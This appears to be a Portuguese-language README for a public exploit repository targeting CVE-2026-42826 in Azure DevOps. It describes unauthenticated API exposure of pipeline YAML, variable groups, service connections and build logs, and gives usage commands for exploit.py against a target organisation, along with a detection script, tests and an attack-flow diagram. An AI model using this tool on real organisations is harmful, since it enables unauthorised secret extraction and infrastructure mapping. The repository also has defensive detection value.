
Explora a CVE-2026-42826 para enumerar e extrair dados sensíveis do Azure DevOps por meio de requisições não autenticadas à API REST: YAML de pipelines, grupos de variáveis, conexões de serviço e logs de build.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-42826 |
| CVSS | 10.0 Crítico (Microsoft) / 7.5 Alto (NVD) |
| CWE | CWE-200 (Exposição de Informações Sensíveis a um Ator Não Autorizado) |
| GHSA | GHSA-gmwx-3xm2-9fx8 |
| Afetados | Azure DevOps Services, Azure DevOps Server 2022/2025 |
| Corrigido | Azure DevOps Server 2026.0.1+ (Serviços corrigidos no servidor) |
| Descobridor | Noa Royzman (Microsoft) |
O Azure DevOps pode fornecer configuração de pipeline, conteúdo de grupos de variáveis e artefatos de build para requisições HTTP não autenticadas sob certas condições. Um atacante remoto envia requisições forjadas para a API REST do Azure DevOps e recebe respostas JSON contendo:
Nenhuma credencial é necessária quando o projeto alvo está configurado para visibilidade pública, ou quando um endpoint interno da API não aplica verificações de autenticação antes de retornar dados.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical
Organizações com projetos públicos habilitados expõem repositórios, pipelines, artefatos e itens de trabalho para a internet não autenticada.
Endpoints internos específicos da API não conseguem impor verificações de autenticação antes de retornar dados sensíveis.
Arquivos YAML de pipeline de projetos públicos referenciam conexões de serviço por nome e grupos de variáveis por nome, revelando a estrutura de assinaturas do Azure, alvos de implantação, URLs de registros e nomes de ambientes.
Metadados de conexões de serviço (IDs de assinatura do Azure, IDs de locatário, IDs de cluster Kubernetes) são expostos via API.
Valores de variáveis não secretas são visíveis na interface, retornados pela API e impressos nos logs de build.
Os logs de build podem conter dados de configuração sensíveis, variáveis de ambiente e detalhes de infraestrutura.
| Arquivo | Propósito |
|---|---|
exploit.py | Exploit principal — 6 vetores de ataque, varredura de segredos, geração de relatórios |
detect.py | Verificador de detecção e endurecimento para instâncias do Azure DevOps |
test_exploit.py | Testes unitários (mais de 30 testes validando toda a funcionalidade do exploit) |
| Documento | Conteúdo |
|---|---|
| USAGE.md | Guia de uso detalhado com instruções passo a passo |
| DIAGRAM.md | Diagramas de estrutura e visualização do fluxo de ataque |
# Check if organization has publicly exposed projects
python3 exploit.py -u https://dev.azure.com/targetorg
# Full exploitation with Personal Access Token
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT_TOKEN
# Target specific project
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT --project MyProject
# Save report to file
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT -o report.json
python3 exploit.py -u https://tfs.company.local/tfs/DefaultCollection --pat YOUR_PAT
python3 detect.py -u https://dev.azure.com/targetorg --pat YOUR_PAT
python3 test_exploit.py
Attacker Azure DevOps API
│ │
│ GET /_apis/projects │
│ (no auth) │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { projects: [...] } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ pipelines │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { YAML configs } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ variablegroups │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { variables: {...} } │
│ ◄────────────────────── │
│ │
│ Extract secrets, │
│ map infrastructure │
│ │
Consulte DIAGRAM.md para diagramas completos de arquitetura.
Code (Read) com validade de 90 diasMIT